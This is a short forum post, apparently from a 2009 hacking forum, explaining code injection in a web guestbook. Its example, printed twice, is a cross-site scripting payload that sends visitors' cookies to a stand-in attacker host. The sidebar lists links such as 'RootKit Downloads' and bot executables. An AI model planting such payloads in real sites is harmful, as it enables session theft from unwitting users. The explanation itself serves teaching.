Search
Latest topics
Code Injection Usages
Code Injection Usages
JeSTeR on Thu Jan 08, 2009 5:22 pm
Overview and example
A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as
Nice site!
However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document
A web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as
Nice site!
However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document
JeSTeR- Admin
- Age: 26
Posts: 132
Join date: 2008-09-28
Location: Earth
Permissions of this forum:
You can reply to topics in this forum
» winagent.exe
» sissiBOT.exe
» Posting Rules
» There Are Hidden Posts Only Members Can Access
» IRC Server: IRC.HackersPlanet.Org
» Rules For Posting
» RootKit Downloads
» Anti-Rooting